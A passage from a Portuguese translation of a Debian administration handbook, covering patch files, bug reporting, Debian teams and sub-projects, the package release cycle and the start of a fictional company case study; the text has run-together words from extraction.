Um patch é um arquivo que descrevemudanças a serem feitas a um ou maisarquivos de referência. Especificamente,ele irá conter uma lista de linhas a seremremovidos ou adicionado ao código, bemcomo (por vezes) linhas tomadas a partirdo texto de referência, substituindo asmodificações no contexto (que permitemidentificar o posicionamento dasalterações, se os números de linha foramalterados).

O instrumento utilizado para aplicar asmodificações dadas em tal arquivo ésimplesmente chamado de patch. Aferramenta que o cria é chamado diff, e éutilizado como se segue:

$ diff -u file.old file.new >file.patch

O arquivo file.patch contém asinstruções para alterar o conteúdo dofile.old em File.new . Podemos enviá-lo para alguém, que pode usá-lo pararecriar File.new a partir dos outros dois,como este:

$ patch -p0 file.old <file.patch

O arquivo, file.old , é agora idêntico aoFile.new .

FERRAMENTA Assinalar um bug comreportbug

A ferramenta reportbug facilita o enviode relatórios de bugs em um pacoteDebian. Pode verificar para garantir que obug em questão já não tenha sido

arquivado, e assim, evitar redundância nosistema. Ela lembra o usuário da definiçãodos níveis de gravidade, para acomunicação ser tão precisa quantopossível (o desenvolvedor pode sempreafinar esses parâmetros mais tarde, senecessário). Ela ajuda a escrever umrelatório de bug completo sem que ousuário precise conhecer a sintaxeprecisa, escrevendo-o e permitindo que ousuário possa editá-lo. Este relatório seráenviado através de um servidor de e-mail(local, por padrão, mas reportbugtambém pode usar um servidor remoto).

Esta ferramenta tem como primeiro alvoas versões de desenvolvimento, onde sóse preocupa com a resolução de bugs. Aversão estável do Debian é, de fato,escrita firmemente, com a exceção dasatualizações de segurança ou outras

atualizações importantes (se, porexemplo, um pacote não está funcionandoem todos). A correção de um pequeno bugem um pacote Debian deve, portanto,esperar pela a próxima versão estável.

Todos esses mecanismos sãoacentuadas pelo comportamento dosusuários. Longe de serem isolados, sãouma verdadeira comunidade em quenumerosas trocas acontecem. Nósobservarmos principalmente aimpressionante atividade na lista dediscussão do usuário , < [email protected] >

(Chapter 7, Resolvendo Problemas eEncontrando Informações Relevantesdiscute isso em maior detalhe).

Não só os usuários se ajudam emquestões técnicas que afetamdiretamente a eles, mas tambémdiscutem as melhores formas decontribuir para o projeto Debian eajudá-lo a avançar - discussões quemuitas vezes resultam em sugestões demelhorias.

Já que o Debian não gasta fundos emtodas campanhas de auto-promoção demarketing, seus usuários têm um papelessencial na sua difusão, assegurando asua notoriedade através da propagandaboca a boca.

Este método funciona muito bem, umavez que fãs do Debian são encontrados

em todos os níveis da comunidade desoftware livre: a partir de festas deinstalação (oficinas onde os usuáriosexperientes ajudam os recém-chegadospara instalar o sistema) organizadospor GULs locais ou "Grupos deUsuários de Linux", para estandes deassociação em grandes convenções quelidam com tecnologias como o Linux,etc.

Voluntários fazem cartazes, brochurase outros materiais promocionais úteispara o projeto, que colocam àdisposição de todos, e que o Debianoferece gratuitamente em seu website:

→ http://www.debian.org/events/material

1.3.3. Equipes e Sub-ProjetosDebian é organizado inicialmente emtorno do conceito dos pacotes decódigo fonte, cada um com seumantenedor ou grupo de mantenedores.Numerosas equipes de trabalholentamente apareceram, garantindo aadministração da infra-estrutura,gestão de tarefas não específicas paraqualquer pacote em particular (garantiade qualidade, Política Debian,instalador, etc), com as últimas equipesque crescem ao redor dos sub-projetos.

1.3.3.1. Sub-Projetos Debian

1.3.3.1. Sub-Projetos DebianExistentes

Cada um com seu próprio Debian ! Umsub-projeto é um grupo de voluntáriosinteressados em adaptar o Debian paranecessidades específicas . Além daseleção de um sub-grupo de programasdestinados a um domínio particular(educação, medicina, criaçãomultimídia, etc), isto também envolvea melhoria dos pacotes existentes,empacotamento de software faltando,adaptando o programa de instalação,criação de documentação específica, emuito mais.

VOCABULÁRIO Sub-projeto e

distribuição derivada

O processo de desenvolvimento para umadistribuição derivada consiste emcomeçar com uma versão específica doDebian e fazer uma série de modificaçõesnela. A infra-estrutura utilizada para estetrabalho é completamente externa aoprojeto Debian. Não há necessariamenteuma política de contribuição demelhorias. Esta diferença explica comouma distribuição derivada pode "divergir"de suas origens, e por que têm quesincronizar regularmente com sua fontede modo a se beneficiar de melhoriasfeitas no upstream.

Por outro lado, um sub-projeto pode nãodivergir, uma vez que todo o trabalhoconsiste em melhorar diretamente oDebian de modo a adaptá-lo para um

objetivo específico.

A distribuição derivada mais conhecida é,sem dúvida, o Ubuntu, mas existemmuitas. Veja Appendix A, DistribuiçõesDerivadas para aprender sobre suasparticularidades e seu posicionamento emrelação ao Debian.

Aqui está uma pequena seleção dossub-projetos correntes:

Debian-Junior, por BenArmstrong, oferecendo umatraente e fácil de usar sistemaDebian para crianças;Debian-Edu, por PetterReinholdtsen, focada na criação de

uma distribuição especializadapara o mundo acadêmico;Debian Med, por Andreas Tille,dedicada para o campo medicinal;Debian-Multimedia, dos criadoresdo AGNULA, que trata da criaçãomultimídia;Debian-Desktop, por ColinWalters, focada no desktop;Debian-Ham, criado por BrucePerens, tem como alvo osentusiastas de rádio amador;Debian-NP (Non-Profit) é paraorganizações sem fins lucrativos;Debian-Lex, finalmente, destina-se para o trabalho dentro docampo legal.

Esta lista provavelmente irá continuara crescer com o tempo e melhorpercepção das vantagens dos sub-projetos. Totalmente suportados pelainfra-estrutura Debian existente , elespodem, com efeito, se concentrar notrabalho com valor acrescentado real,sem se preocupar em permanecersincronizado com o Debian, uma vezque são desenvolvidos dentro doprojeto.

PERSPECTIVA Debian na academia

Debian-Edu era, inicialmente, um projetofrancês, criado por Stéphane Casset eRaphaël Hertzog, dentro da empresaLogidee, em nome de um centro dedocumentação pedagógica departamental.

Raphaël então integrou-o com o Debiancomo um sub-projeto. Devido alimitações de tempo, não tem progredidomais, como é frequentemente no caso deprojetos de software livre em que faltamcolaboradores.

Da mesma forma, uma equipe denoruegueses trabalhou em umadistribuição semelhante, também combase no debian-installer reportbug . Como progresso do SkoleLinux sendosignificativo, Raphaël sugeriu que ele setorne parte da família Debian e assuma osub-projeto Debian-Edu.

PERSPECTIVA Debian para multimedia

AGNULA era um projeto europeu, geridosob a direção de uma equipe italiana. Ela

vinculou, para a parte "DeMuDi" , odesenvolvimento de uma versão doDebian dedicado a aplicações multimídia.Certos membros do projeto,especialmente Marco Trevisani, quisperpetuá-lo, integrando-o no âmbito doProjeto Debian. O sub-projeto Debian-Multimedia nasceu.

→ http://wiki.debian.org/DebianMultimedia

O projeto, no entanto, teve dificuldade naformação de uma identidade e decolar.Free Ekanayaka fez o trabalho dentro doDebian, mas ofereceu os resultados sob aforma de uma distribuição derivada, quehoje é conhecido como 64Studio. Estadistribuição é afiliada a uma novaempresa que oferece suporte técnico.

→ http://www.64studio.com/

1.3.3.2. TimesAdministrativos

A maioria das equipes administrativassão relativamente fechadas e recrutamsó por cooptação. O melhor meio parase tornar parte de uma éinteligentemente auxiliar os atuaismembros, demonstrando que vocêtenha entendido seus objetivos emétodos de operação.

O ftpmasters estão a cargo dorepositório oficial dos pacotes Debian.Eles mantêm o programa que recebepacotes enviados por desenvolvedores

e automaticamente armazenam eles,depois de algumas verificações noservidor de referência ( ftp-master.debian.org ).

Eles devem igualmente verificar aslicenças de todos os novos pacotes, afim de assegurar que o Debian podedistribuir-los, antes da sua inclusão nocorpo de pacotes existentes. Quandoum desenvolvedor deseja remover umpacote, aborda esta equipe através dosistema de acompanhamento de bugs eo "pseudo-pacote" ftp.debian.org .

VOCABULÁRIO O pseudo-pacote, umaferramenta de monitoramento

O sistema de acompanhamento de bugs,

inicialmente concebido para associarrelatórios de erros com um pacote Debian,revelou-se muito prático para gerenciaroutros assuntos: as listas de problemas aserem resolvidos ou tarefas paragerenciar, sem qualquer ligação a umpacote Debian particular. "Pseudo-pacotes" permitem, assim, algumasequipes a usar o sistema deacompanhamento de bugs sem associarum pacote real com sua equipe. Todomundo pode, portanto, relatar problemasque precisam ser tratados. O BTS tem umaentrada ftp.debian.org para relatarproblemas no repositório de pacotesoficiais ou simplesmente para solicitar aremoção de um pacote. Da mesma forma,o pacote de pseudo-packagewww.debian.org refere-se a erros no sitedo Debian, e lists.debian.org reúne todosos problemas relativos às listas de

discussão.

FERRAMENTA FusionForge, o canivetesuíço do desenvolvimento colaborativo

FusionForge é um programa que permite acriação de sites semelhantes awww.sourceforge.net ,alioth.debian.org , ou mesmosavannah.gnu.org . Abriga projetos efornece uma gama de serviços quefacilitem o desenvolvimentocolaborativo. Cada projeto terá um espaçovirtual dedicado lá, incluindo um site,sistema de rastreamento de bugs, sistemade monitoramento de patch, ferramenta depesquisa, armazenamento de arquivos,fóruns, repositórios de versão do sistemade controle, listas de discussão e diversosoutros serviços relacionados.

alioth.debian.org é um servidor DebianFusionForge, administrado por MasRoland, Tollef Fog Heen, Stephen Gran, eChristian Bayle. Qualquer projeto queenvolve um ou mais desenvolvedores doDebian pode ser hospedado lá.

→ http://alioth.debian.org/

Muito complexo para a ampla gama deserviços que oferece, FusionForge é poroutro lado relativamente fácil de instalar,graças ao trabalho excepcional de RolandMas e Christian Bayle no fusionforgepacote Debian.

A equipe debian-admin (<[email protected]>), como sepoderia esperar, é responsável pela

administração do sistema de muitosservidores usados pelo projeto. Elesgarantem o funcionamento ótimo detodos os serviços básicos (DNS, Web,e-mail, shell, etc), instalam o softwaresolicitado por desenvolvedores Debiane tomam todas as precauções no quediz respeito à segurança.

FERRAMENTA Sistema derastreamento de pacotes

Esta é uma das criações de Raphaël. Aidéia básica é, para um determinadopacote, centralizar as informações sobreele, tanto quanto possível em uma únicapágina. Assim, pode-se rapidamenteverificar o estado de um programa,identificar tarefas a serem realizadas, e

oferecer assistência de alguém. É por issoque esta página reúne todas estatísticas deerros, as versões disponíveis em cadadistribuição, o progresso de um pacote nadistribuição Testing , o status dastraduções de descrições e modelosdebconf, a disponibilidade eventual deuma nova versão, avisos dedescumprimento da mais recente versãoda Política Debian, informações sobre omantenedor, outras informações que odito mantenedor deseja incluir.

→ http://packages.qa.debian.org/

Um serviço de assinatura de e-mailcompleta esta interface web. Ela enviaautomaticamente as seguintesinformações selecionadas para a lista:bugs e discussões relacionadas, adisponibilidade de uma nova versão nos

servidores Debian, traduções concluídas(para revisão), etc.

Os usuários avançados podem, assim,seguir toda esta informação de perto e atémesmo contribuir para o projeto, uma vezque tiver um suficiente bomconhecimento de como ele funciona.

Outra interface web, conhecida comoSupervisão de Pacotes do DesenvolvedorDebian (Debian Developer's PackagesOverview) (DDPO), fornece a cadadesenvolvedor uma sinopse do estado detodos os pacotes Debian colocados sob asua carga.

→ http://qa.debian.org/developer.php

Estes dois sites compreendem asferramentas para o Debian QA (QualityAssurance), o grupo responsável pela

garantia de qualidade no Debian.

A equipe listmasters administra oservidor de e-mail que gerencia aslistas de discussão. Eles criam novaslistas , tratam das quicadas (avisos defalha na entrega), e mantem os filtrosde spam (massa não solicitada de e-mail).

CULTURA Tráfego nas listas dediscussão: alguns números

As listas de discussão são, sem dúvida, omelhor testemunho para a atividade emum projeto, uma vez que mantem ocontrole de tudo o que acontece. Algumasestatísticas (de 2007) sobre nossas listas

falam por si: Debian hospeda mais de 180listas, totalizando 175.000 assinaturasindividuais. As 45.000 mensagensenviadas a cada mês geram um milhão dee-mails diariamente.

Cada serviço específico tem suaprópria equipe de administração dosistema, geralmente composta devoluntários que o instalaram (etambém freqüentemente programam asferramentas correspondentes elesmesmos). Este é o caso do sistema deacompanhamento de bugs (BTS), osistema de rastreamento de pacotes(PTS), alioth.debian.org (servidorFusionForge, consulte a barra lateral),os serviços disponíveis no

qa.debian.org,lintian.debian.org,buildd.debian.org,cdimage.debian.org, etc.

1.3.3.3. Equipes deDesenvolvimento, EquipesTransversais

Diferente das equipes administrativas,as equipes de desenvolvimento sãobem amplamente abertas, mesmo paraos contribuintes de fora. Mesmo que seo Debian não tem vocação para criarum software, o projeto necessita dealguns programas específicos paraatender seus objetivos. Claro,

desenvolvido sob uma licença desoftware livre, essas ferramentas fazemuso de métodos comprovados emoutras partes do mundo do softwarelivre.

CULTURA CVS

CVS (Concurrent Versions System |Sistema de Versões Concorrentes) é umaferramenta para o trabalho colaborativoem vários arquivos, mantendo umhistórico de modificações. Os arquivosem questão são geralmente arquivos detexto, como o código de um programafonte. Se várias pessoas trabalham juntasno mesmo arquivo, cvs apenas podemmesclar as alterações feitas, se elas foramfeitos para diferentes partes do arquivo.Caso contrário, esses "Conflitos" devem

ser resolvidos com a mão. Este sistemagerencia as modificações, linha por linha,armazenando os patches diff de umaversão para outra.

CVS utiliza um arquivo central (chamadode repositório CVS) para armazenararquivos e o histórico de suasmodificações (cada revisão é registradana forma de um patch de arquivo diff ,destinado a ser utilizado na versãoanterior) . Todos verificam umadeterminada versão (cópia de trabalho)para trabalhar. A ferramenta permitevisualizar as modificações feitas na cópiade trabalho ( cvs diff ), para gravá-los norepositório central através da criação deuma nova entrada no histórico dasversões ( cvs commit ), para atualizar acópia de trabalho para incluirmodificações feitas em paralelo por

outros usos ( cvs update ), para gravaruma configuração especial na história, afim de ser capaz de facilmente extraí-lomais tarde ( cvs tag ).

CVS peritos sabem como lidar com váriasversões simultâneas de um projeto emdesenvolvimento sem que interfiram unscom os outros. Estas versões sãochamados ramos . Esta metáfora de umaárvore é bastante precisa, uma vez que umprograma é desenvolvido inicialmente emum tronco comum. Quando um marco foialcançado (como a versão 1.0), odesenvolvimento continua em dois ramos:o ramo de desenvolvimento prepara opróximo grande lançamento, e o ramo demanutenção gerencia as atualizações ecorreções para a versão 1.0.

cvs , no entanto, tem algumas limitações.

É incapaz de gerenciar links simbólicos,mudanças em nomes de arquivo oudiretório, a exclusão de diretórios, etc.Isto tem contribuído para o aparecimentode mais modernas, e livres, alternativasque preencheram a maioria dessaslacunas. Estas incluem, especialmente,subversão ( svn ), git , bazar ( bzr ), emercurial ( hg ).

→ http://subversion.tigris.org/

→ http://git-scm.com/

http://bazaar-vcs.org/~~V

→ http://mercurial.selenic.com/

Debian desenvolveu poucos softwarespara si , mas certos programas têm

assumido um papel de protagonista,sua fama se espalhou para além escopodo projeto. Bons exemplos são dpkg , oprograma de gerenciamento de pacotesdo Debian (é, na verdade, umaabreviatura de Debian PacKaGe(pacote do Debian)), e apt , umaferramenta para instalação automáticade qualquer pacote Debian, e suasdependências, garantindo a coesão dosistema após a atualização (seu nome éuma sigla para Advanced Package Tool(Ferramenta Avançada de Pacotes)). Osseus times são, no entanto, muitomenores, uma vez que um nívelbastante elevado de habilidade deprogramação é necessária para acompreensão do conjunto de ações

destes tipos de programas.

A equipe mais importante éprovavelmente a do programa deinstalação do Debian, debian-installer, que realizou uma obra de proporçõesmonumentais, desde a sua concepçãoem 2001. Vários colaboradores foramnecessários, uma vez que é difícilescrever um único programa capaz deinstalar o Debian em uma dúzia dediferentes arquiteturas. Cada um temseu próprio mecanismo parainicialização e seu próprio bootloader.Todo este trabalho é coordenado [email protected] < > listade discussão, sob a direção de OtávioSalvador Joey Hess.

→ http://www.debian.org/devel/debian-installer/

→ http://kitenet.net/~joey/entry/d-i_retrospective/

A equipe do programa debian-cd,muito pequena, tem um objetivo aindamais modesto. Muitos "pequenos"colaboradores são responsáveis pelasua arquitetura, já que o principaldesenvolvedor pode não saber todas assutilezas, nem a forma exata parainiciar o instalador a partir do CD-ROM.

Muitas equipes devem colaborar comoutras na atividade de empacotamento:< [email protected] >

tenta, por exemplo, garantir aqualidade em todos os níveis do projetoDebian. A equipe do lista do programa<[email protected]

> desenvolve A Política do Debian deacordo com propostas de todo o lugar.A equipe encarregada de cadaarquitetura (< debian- arquitetura@ lists.debian.org >) compilatodos os pacotes, adaptando-os à suaarquitetura particular, se necessário.

Outras equipes gerenciam os pacotesmais importantes, a fim de garantir amanutenção sem colocar uma cargamuito pesada sobre um único par deombros, este é o caso com a bibliotecaC <[email protected] debian-

[email protected] > , e ocompilador C no [email protected] <[email protected] > lista, ouXorg no [email protected]<[email protected]

> (este grupo também é conhecidocomo o Strike Force X, coordenado porCyril Brulebois).

1.4. O Papel dasDistribuiçõesUma distribuição GNU / Linux temdois objetivos principais: instalar umsistema operacional livre em umcomputador (com ou sem um sistemaexistente ou sistemas), e fornecer umagama de software que abrange todasnecessidades dos usuários.

1.4.1. O Instalador:debian-installer

O debian-installer , projetado para serextremamente modular, a fim de ser omais genérico possível, responde deprimeira. Abrange ampla gama desituações de instalação e, em geral,facilita grandemente a criação de uminstalador derivado para corresponder aum caso particular.

Esta modularidade, que o tornatambém muito complexo, podeincomodar os desenvolvedores queestão descobrindo esta ferramenta.Quer seja utilizado em modo gráfico outexto, a experiência do usuário ainda ésemelhante. Grandes esforços têm sidofeitos para reduzir o número de campospara preencher, o que explica a

inclusão de software de deteçãoautomática de hardware.

É interessante notar que asdistribuições derivadas do Debiandiferem muito sobre este aspecto,fornecem um instalador mais limitado(muitas vezes confinado à arquiteturai386), mas mais user-friendly para osnão iniciados. Por outro lado, elescostumam se abster de se afastar muitodo conteúdo do pacote, a fim de sebeneficiar tanto quanto possível davasta gama de softwares oferecidossem causar problemas decompatibilidade.

1.4.2. A Biblioteca de

SoftwareQuantitativamente, o Debian éinegavelmente o líder nesse aspecto,com mais de 14.500 pacotes fonte.Qualitativamente, a política do Debiane o longo período de testes antes deliberar uma nova versão estável,justificam a sua reputação para acoesão e estabilidade. Quanto adisponibilidade, tudo está disponívelon-line através de numerosos espelhos ,atualizados a cada seis horas.

Muitos varejistas vendem CD-ROMsna Internet a um preço muito baixo(muitas vezes a preço de custo), para as

quais as "imagens" estão disponíveisgratuitamente para download. Háapenas um inconveniente: a baixafrequência de lançamentos de novasversões estáveis (o seudesenvolvimento, às vezes leva mais dedois anos), o que atrasa a inclusão deum novo software.

A maioria dos novos programas desoftware livre rapidamente encontra ocaminho para a versão emdesenvolvimento que lhes permite serinstalado. Se isso requer muitasatualizações, devido às suasdependências, o programa tambémpode ser recompilado para a versãoestável do Debian (ver Chapter 15,

Criando um Pacote Debian para obtermais informações sobre este tópico).

1.5. Ciclo de vidade umLançamentoO projeto vai ter simultaneamente trêsou quatro versões diferentes de cadaprograma, chamado Experimental ,Instável , Teste , Estável . Cada umacorresponde a uma fase diferente emdesenvolvimento. Para um suficientebom conhecimento, vamos dar umaolhada no caminho de um programa, desua embalagem inicial à inclusão emuma versão estável do Debian.

VOCABULÁRIO Lançamento

O termo "lançamento" , no projeto doDebian, indica uma versão especial deuma distribuição (por exemplo, "versãoinstável" significa "a versão instável").Ele também indica o anúncio público delançamento de qualquer nova versão(estável).

1.5.1. O EstadoExperimentalPrimeiro vamos dar uma olhada nocaso particular da distribuiçãoExperimental : este é um grupo de

pacotes Debian correspondente aosoftware atualmente emdesenvolvimento, e nãonecessariamente concluído, explicandoo seu nome . Nem tudo passa por estaetapa, alguns desenvolvedoresadicionam aqui os pacotes a fim deobter o feedback dos mais experientes(ou mais valentes) usuários.

Caso contrário, essa distribuiçãofreqüentemente abriga importantesmodificações para pacotes básicos,cuja integração na instável com errosgraves teria repercussões importantes.É, portanto, uma distribuiçãototalmente isolada, nunca os seuspacotes migram para outra versão

(exceto pela intervenção diretaexpressa do mantenedor ou doftpmasters).

1.5.2. O EstadoInstável StatusVamos voltar para o caso do pacotetípico. O mantenedor cria um pacoteinicial, que compila para versãoInstável e coloca no servidor ftp-master.debian.org.Este primeiroevento envolve a inspeção e validaçãodos ftpmasters. O software estarádisponível na distribuição Instável ,que é arriscada, mas escolhida pelos

usuários que estão mais preocupadosem permanecer perto da vanguarda,com pacotes de data até mais recente ,do que eles estão preocupados comerros graves. Eles descobrem oprograma e, em seguida, testam.

Se encontrarem bugs, reportam para omantenedor do pacote. O mantenedorentão elabora regularmente versõescorrigidas que envia (por upload) parao servidor.

Cada pacote recém-atualizado éatualizado em todos os espelhos doDebian ao redor do mundo em menosde seis horas. Os usuários então testamas correções e procuram outros

problemas resultantes dasmodificações. Várias atualizaçõespodem então ocorrer rapidamente.Durante estes tempos, os robôsautobuilder entram em ação. Namaioria das vezes, o mantenedor temapenas um PC tradicional e compilouseu pacote na arquitetura i386 (ouamd64); os autobuilders assumem ocomando e automaticamente compilaversões para todas as outrasarquiteturas. Algumas compilaçõespoderão falhar; o mantenedor receberáum relatório de bug indicando oproblema que é, então, para sercorrigido nas próximas versões.Quando o erro é descoberto por umespecialista para a arquitetura em

questão, o relatório de bug pode vircom um patch pronto para uso.

Figure 1.2. Compilação de um pacotepelos autobuilders

VISTA RÁPIDA buildd, O recompiladorde pacotes do Debian

buildd é a abreviação de "build daemon".Este programa automaticamenterecompila novas versões de pacotes

Debian nas arquiteturas em que estáhospedado (compilação cruzada nemsempre é suficiente).

Assim, para produzir binários para aarquitetura sparc , o projeto temmáquinas sparc disponíveis(especificamente, a marca Sun). Oprograma buildd é executado nelascontinuamente para criar os binários depacotes para sparc de pacotes fonteenviados por desenvolvedores da Debian.

Este software é usado em todos oscomputadores que servem os autobuilderspara o Debian. Por extensão, o termobuildd é freqüentemente usado para sereferir a estas máquinas, que geralmentesão reservados exclusivamente para estafinalidade.

1.5.3. Migração paraTesteUm pouco mais tarde, o pacote teráamadurecido; compilados em todasarquiteturas, não vai ter sofridomodificações recentes. É então umcandidato de inscrição na distribuiçãoTeste - um grupo de pacotes instáveisescolhidos de acordo com algunscritérios quantificáveis. Todos os diasum programa selecionaautomaticamente os pacotes paraincluir em Teste , de acordo com oselementos que garantem um certo nívelde qualidade:

1. carece de bugs críticos, ou, pelomenos, menos do que a versãoatualmente incluído no Teste ;

2. pelo menos 10 dias em Instável ,que é tempo suficiente paraencontrar e relatar quaisquerproblemas graves;

3. compilação bem-sucedida emtodas arquiteturas suportadasoficialmente;

4. dependências que podem sersatisfeitas em Instável , ou quepodem pelo menos ser mudadaspara lá junto com o pacote emquestão.

É claro que este sistema não éinfalível; bugs críticos são encontrados

regularmente em pacotes incluídos naTeste . Ainda assim, é geralmenteeficaz, Teste apresenta muito menosproblemas do que a Instável , sendopara muitos, um bom compromissoentre estabilidade e novidade.

NOTA Limitações da Teste

Muito interessante, em princípio, Testecoloca alguns problemas práticos: oemaranhado de informações cruzadas dasdependências entre os pacotes é tal queum pacote nunca pode mudar para látotalmente por conta própria. Com todosos pacotes, dependendo uns dos outros, énecessário se mover um grande númerosimultaneamente, o que é impossívelquando alguns são atualizaçõescarregadas regularmente. Por outro lado,

o script de identificação das famílias depacotes relacionados trabalha duro paracriá-los (isso seria um problema NP-completo, para o que, felizmente,sabemos de algumas boas heurísticasbons). É por isso que podemos interagirmanualmente com e orientar esse script,sugerindo grupos de pacotes, ou impor ainclusão de certos pacotes em um grupo,mesmo que temporariamente quebrealgumas dependências. Estafuncionalidade é acessível para osgerentes de lançamento e os seusassistentes.

Recorde-se que um problema NP-completo é de uma complexidadeexponencial algorítmica de acordo com otamanho dos dados, sendo aqui ocomprimento do código (o número defiguras) e os elementos envolvidos. A

única maneira de resolver éfreqüentemente examinar todasconfigurações possíveis que podem exigirmeios enormes. Uma heurística é umaaproximada, mas satisfatória, solução.

COMUNIDADE O Gerente deLançamento

Gerente de lançamento é um títuloimportante, associado com grandesresponsabilidades. O portador deste títulodeve ter, de fato, de gerenciar a liberaçãode uma nova versão estável do Debian,definir o processo de de desenvolvimentodo Debian Teste até que ele atenda aoscritérios de qualidade para Estável. Elestambém definir um cronogramapreliminar (nem sempre seguido).

Nós também temos Gerentes de versãoestável (Stable Release Managers), muitasvezes abreviado SRM, que gerenciam eselecionam as atualizações para a atualversão estável do Debian. Elessistematicamente incluem patches desegurança e examinam todas outraspropostas de inclusão, numa base caso acaso, enviados por desenvolvedores daDebian ansiosos para atualizar seu pacotena versão estável.

1.5.4. A Promoção deTeste para EstávelVamos supor que o nosso pacote estáagora incluído no Teste . Embora tenha

espaço para melhorias, o mantenedordo mesmo deve continuar a melhorá-loe reiniciar o processo de Instável (masa sua inclusão posterior no Teste égeralmente mais rápido: Se ele não sealterou significativamente, todas suasdependências já estão disponíveis).Quando se atinge a perfeição, omantenedor tenha concluído seutrabalho. O próximo passo é a inclusãona distribuição Estável , que é, narealidade, uma simples cópia de Testeem um momento escolhido pelogerente de lançamento. Idealmente,esta decisão é tomada quando oinstalador está pronto, e quandonenhum programa em Teste tem todosos bugs críticos conhecidos .

Como esse momento nunca chegaverdadeiramente, na prática, o Debiandeve se comprometer a: removerpacotes cujo mantenedor não tivercorrigido bugs a tempo, ou concordaem publicar uma distribuição comalguns bugs nos milhares deprogramas. O Gerente de lançamentovai previamente anunciar um períodode congelamento, durante o qual cadaatualização para Teste deve seraprovado. O objetivo aqui é evitarqualquer nova versão (e seus novosbugs), e só aprovar as atualizações comcorreção de bugs.

Figure 1.3. Caminho de um pacoteatravés das várias versões Debian

VOCABULÁRIO Freeze: a casaarrumada

Durante o período de congelamento, odesenvolvimento do Teste é bloqueado;nenhuma atualização mais recente épermitida. Apenas os gerentes delançamento são, então, autorizado aalterar , de acordo com seus próprioscritérios. O objetivo é prevenir oaparecimento de novos bugs através daintrodução de novas versões; apenasatualizações minuciosamente examinadassão autorizadas quando corrigir bugssignificativos.

Após o lançamento de uma nova versãoestável, o gerente da distribuiçãoestável gerencia todo odesenvolvimento posterior (chamadode "revisões", ex: 5.0.1, 5.0.2, 5.0.3para a versão 5.0). Essas atualizações

incluem sistematicamente todos ospatches de segurança. Eles tambémincluem as correções mais importantes(o mantenedor de um pacote devecomprovar a gravidade do problemaque deseja corrigir a fim de ter suasatualizações incluídas).

Fim da viagem: Nosso pacotehipotético agora está incluído nadistribuição estável. Esta viagem, nãosem dificuldades, explica os atrasossignificativos que separam oslançamentos do Debian . Isso contribui,sobretudo, para sua reputação dequalidade. Além disso, a maioria dosutilizadores é satisfeita usando uma dastrês distribuições simultaneamente

disponíveis. O sistema deadministradores, preocupado acima detudo, para a estabilidade de seusservidores, desdenha da última versãodo GNOME, pois eles podem escolhero Debian estável , e eles serão saciados.Os usuários finais, mais interessadosnas versões mais recentes do GNOMEou KDE do que em sólida estabilidade,encontrará o Debian Teste para ter umbom compromisso entre a ausência deproblemas graves e relativamente , ossoftwares mais atuais . Finalmente, osdesenvolvedores e usuários maisexperientes podem desbravar a trilha,testando todos os últimosdesenvolvimentos no Debian Instáveldireto da passagem, correndo o risco de

sofrer as dores de cabeça e errosinerentes a qualquer nova versão de umprograma. Cada um com seu Debian !

Figure 1.4. Trilha Cronológica de umpacote de programas do Debian

CULTURA GNOME and KDE,ambientes gráficos de desktop

GNOME (GNU _Network Object ModelEnvironment) e KDE (K DesktopEnvironment) são os dois mais popularesambientes gráficos de desktop no mundodo software livre . Um ambiente dedesktop é um conjunto de programasagrupados para permitir o fácilgerenciamento das operações maiscomuns através de uma interface gráfica.Eles geralmente incluem um gerenciadorde arquivos, suíte de escritório,navegador web, programa de e-mail,acessórios multimídia, etc. A diferençamais visível reside na escolha dabiblioteca gráfica utilizada: GNOMEescolheu GTK + (software livrelicenciado sob a LGPL), KDE selecionouQt (de uma empresa, a Trolltech, que

lançou-o sob a licença GPL).

→ http://www.gnome.org/

→ http://www.kde.org/

Chapter 2. Apresentandoo Caso de EstudoVocê é o administrador de sistemas deum pequeno negócio crescente. Emcolaboração com seus diretores, vocêvem para redefinir o plano mestre deinformação para o próximo ano, e vocêescolheu migrar progressivamente parao Debian por razões tanto práticasquanto econômicas. Vamos olhar commais detalhes o que espera por você...

Nós imaginamos esse estudo de casoque se aproxima a todos os sistemasmodernos que atualmente são usados

em médias empresas. Após ler estelivro, você terá todos os elementosnecessários para instalar o Debian nosseus servidores e voar com suasprópriasas. Você também aprenderácomo buscar informações nosmomentos de dificuldades.

2.1. CrescimentoRápidos dasNecessidades deTIFalcorp é uma fabricante de

equipamentos de áudio de altaqualidade. A companhia está crescendofortemente, e têm duas fábricas, umaem Saint-Étienne, e outra em Pau. Aprimeira têm por volta de 150funcionários; e hospeda uma fábricaque produz alto-falantes, umlaboratório de design, e todo oescritório administrativo. A fábrica dePau, que é menor, e somente possui 50funcionários, e produz amplificadores.

NOTA Companhia fictícia criada para oestudo de caso

A companhia, Falcot Corp, estudada aqui,é completamente fictícia. Qualquersemelhança com uma companhiaexistente é puramente coincidência.

Igualmente, certos exemplos dados nestelivro também podem ser fictícios.

O sistema de computadores tem tidodificuldades de se manter junto aocrescimento da empresa, então agoraeles estão determinados acompletamente redefini-lo para seenquadrar nas metas estabelecidas pelagerência:

moderna, uma infraestruturafacilmente escalável;redução de custos de licençasgraças ao uso de programas OpenSource (Código Aberto);instalação de um comercioeletrônico, possivelmente B2B

(negócio para negócio, i.e.conectando sistemas deinformação entre diferentesempresas, como fornecedores eseus clientes);melhoria significativa nasegurança para melhor protegersegredos industriais relacionadosa seus novos produtos.

Ressaltando esse objetivos, todo osistema de informação deve serreformulado.

2.2. Plano MestreCom a sua colaboração, a gerência deTI conduziu um estudo ligeiramentemais intenso, identificando algumasrestrições e definindo um plano demigração para o sistema Open Source(Código Aberto) escolhido, Debian.

Uma restrição significativaidentificada é o departamento de contasque usa um software específico, quesomente funcionada no MicrosoftWindows™. O laboratório, por sua vez,usa um programa para desenho quesomente funciona no MacOS X™.

Figure 2.1. Visão global da rede daFalcot Corp

A mudança para o Debian será gradual;um negócio pequeno, com meioslimitados, não pode mudar tudo do diapara a noite. Para começar, o pessoalde TI precisa ser treinado em

administração do Debian. Osservidores precisam ser convertidos,começando pela infraestrutura(roteadores, firewall, etc.) seguidospelos serviços ao usuário(compartilhamento de arquivos,Internet, SMTP, etc.). Então oscomputadores do escritório serãogradualmente migrados para Debian,para cada departamento ser treinado(internamente) durante odesenvolvimento do novo sistema.

2.3. Por que umaDistribuiçãoGNU/Linux?

Volta ao Básico Linux ou GNU/Linux?

Linux, como você já deve saber, ésomente um kernel. A expressão,"distribuição Linux" e "sistema Linux" é,portanto, incorreta: elas são, emrealidade, distribuições ou sistemasbaseadas no Linux. Estas expressõesfalham ao não mencionar os programasque sempre completam este kernel, entreeles os programas desenvolvidos peloProjeto GNU. Dr. Richard Stallman,

